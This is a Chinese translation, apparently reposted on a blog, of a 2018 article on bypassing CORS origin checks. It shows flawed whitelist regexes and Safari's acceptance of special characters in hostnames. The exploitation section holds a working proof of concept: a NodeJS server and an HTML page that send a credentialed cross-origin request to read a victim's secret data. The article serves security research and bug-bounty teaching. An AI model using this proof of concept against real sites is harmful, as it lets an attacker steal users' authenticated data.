高级CORS利用技术

原文地址:https://www.corben.io/advanced-cors-techniques/
作者:Corben Leo,原文发表于2018年6月16号
自豪地采用谷歌翻译,有英文阅读能力,尽量去阅读原文吧。
本文已获得原作者的翻译授权

序言

我看过 Linus SarudBo0oM 做的一些关于Safari 浏览器如何滥用特殊字符的研究。

上述两篇文章都深入讨论了 Safari 的行为可能导致 XSS 攻击或 Cookie 注入的实际场景。这篇博客的目标是带来更多的利用 CORS 的创造力和选择。

介绍

去年十一月,我曾写过一篇复杂的关于 Yahoo View 中滥用了 Safari 对特殊字符的处理从而绕过跨源资源共享[CORS]安全机制的文章。从那以后,我找到了更多巧妙绕过 CORS 安全机制的漏洞,并决定使用更高级的技术来避免这些漏洞。

备注:

假设你已经了解 CORS 的基础知识和如何利用 CORS 的错误配置,这里有一些不错的文章可以让你了解下:

背景知识:DNS 和浏览器

快速摘要:

  • DNS 本质上是服务器的地址簿。它将主机名称转化/映射为具体的 IP 地址,从而使互联网更易于使用。
  • 当你尝试在浏览器中访问一个具体的 URL 时:
    DNS 开始执行将输入的 URL 转化为具体的 IP 地址 -> 启动到服务器的 TCP 连接 -> 服务器响应 SYN+ACK信号 -> 浏览器给服务器发送一个 取回内容的HTTP 请求 -> 然后渲染/显示相应的内容

如果你是一个视觉思考者,这里有一份相关的流程图。

DNS 服务器响应任意内容的请求,因此你可以发送任意字符到该域名的子域名,只要该域名有一个通配符 DNS 记录,它就会响应。

比如:

dig A "<@$&(#+_\`^%~>.withgoogle.com" @1.1.1.1 | grep -A l "ANSWER SECTION"

Result of dig
浏览器呢?

我们知道 DNS 服务器响应了这些请求,但是浏览器是如何处理它们的呢?答案是:大多数浏览器在发出请求之前会验证域名的有效性。

比如:

Chrome:
result
Firefox:
result
Safari:
注意,我说过大多数浏览器都验证域名,但并不是所有的都这样。Safari就是其中之一。如果我们尝试加载相同的域,它将发送实际的请求并加载页面:
result
我们可以使用各种不同的字符,甚至不可打印的字符:

,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

跳转到 CORS 配置

大多数 CORS 集成包含一个允许从端点读取信息的起始白名单,这通常通过使用正则表达式来实现。

例1:

^https?:\/\/(.*\.)?xxe\.sh$

解读: 使用此正则表达式实现配置的目的是允许从xxe.sh和任何子域(http://https://)进行跨域访问

攻击者能够从该端点窃取数据的惟一方法是对http(s)://xxe.sh / http(s)://*.xxe.sh上进行了 XSS 或子域的接管。

例2:

^https?:\/\/.*\.?xxe\.sh$

解读: 和例1相同,允许跨域访问xxe.sh和它的子域名。

这个正则表达式和上面第一个正则表达式很相似,但是它包含一个问题,该问题可能导致配置易受数据盗窃的影响。

问题出现在如下的正则表达式片段中:.*\.?

解释:

.* = 除行终止符外的任意字符
\. = 一个半角句号
?  = 数量词,在这个正则表达式表示匹配"."零次或一次

因为.*\.不是一个捕获组,?数量词仅仅会影响.字符的匹配,因而在字符串xxe.sh前的任何字符串都是被允许的。不管这个字符串是否被半角句号分割。

这意味着攻击者可以发送任何以xxe.sh结尾的源,并且可以跨域访问。
result
这是一种非常常见的旁路技术,这有一个真实的案例:
https://hackerone.com/reports/168574, 作者 James Kettle

例3:

^https?:\/\/(.*\.)?xxe\.sh\:?.*

解读: 允许跨域访问xxe.sh,及所有子域,以及这些域上的任何端口。

你能发现问题吗?

解释:

\: = 匹配字符":"
?  = 数量词,在这个正则表达式表示匹配":"零次或一次
.* = 除行终止符外的任意字符

就像第二个例子一样,?数量词仅仅影响:字符,因此,如果我们发送一个在xxe.sh之后带有其他字符的源,还是可以接受的。
result

价值百万美元的问题:

当利用 CORS 错误配置时,Safari 如何处理这些特殊字符

以下面的 Apache 配置为例:

SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin

允许跨域访问xxe.sh,及所有子域,以及这些域上的任何端口。

下面是正则表达式的解读:

[^\.\-a-zA-Z0-9] = 配置除了".","-","a-z","A-Z","0-9"的字符
+  = 数量词,超过字符1次或无限次匹配(贪婪)
.* = 除了行终止符的其他字符

这个 API 不允许访问前面示例中的域,其他常见的旁路技术也不能工作。*.xxe.sh上的子域接管或 XSS 将允许攻击者窃取数据,但是让我们更有创意一些。

我们知道任何类似*.xxe.sh源跟随字符. - a-z A-Z 0-9是不会被信任的,那在xxe.sh字符串之后添加空格的源(会被信任)呢?
result
我们看到这是被信任的,然而,这样的域名是不被正常的浏览器所支持的。

因为正则表达式匹配的是 ASCII 字符和. -xxe.sh之后的特殊字符将被信任。
result
这样的域在现代的通用浏览器,比如说 Safari 中是受支持的

漏洞利用

先决条件:

  • 一个带有通配符DNS记录的域,将其指向您的机器。
  • NodeJS

像大多数浏览器,Apache 和 Nginx (开箱即用)也不喜欢这些特殊字符,因此,使用 NodeJS 提供 HTML 和 Javascript 要容易得多。

serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

在同样的目录下,保存下面内容:
cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<div>
cors proof-of-concept:
<br>
<br>
<textarea rows="10" cols="60" id="pwnz"></textarea>
<br>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

通过以下指令开启 NodeJS 服务:

node serve.js &

像以前所说,因为正则表达式匹配的是 ASCII 字符和. -xxe.sh之后的特殊字符将被信任。

因此如果我们打开 Safari 浏览器访问http://x.xxe.sh{.<your-domain>/cors-poc,我们将会看从这个漏洞中,我们成功的窃取了数据
result
编辑: 我注意到这个字符(在子域中)不仅在 Safari 中被支持,而且在 Chrome 和 Firefox 中也被支持。

因此,http://x.xxe.sh_.<your-domain>/cors-poc将会从大多数通用的浏览器发送有效的源

感谢 Prakash,你真牛。

实际测试

现在,请记住这些特殊字符,弄清楚哪些 Origins 反映在 Access-Control-Allow-Origin 标头中可能是一项繁琐且耗时的任务:
Fuzz Meme

theftfuzzer:

为了节省时间并提高效率,我决定编写一种工具,对允许的来源进行 CORS 配置模糊测试。 它是用 Python编 写的,并且为可能的 CORS 绕过生成了许多不同的排列。 可以在我的 Github 上找到它。 如果您有任何改进此工具的想法,请随时 ping 我或提出请求!

结语

希望这篇文章能为您提供丰富的信息,并且您从中学到了! 去利用那些 CORS 配置并获得一些奖励😝

愉快的去狩猎吧。

Corben Leo

链接

posted @ 2020-01-15 11:01  西河  阅读(25)  评论(0编辑  收藏  举报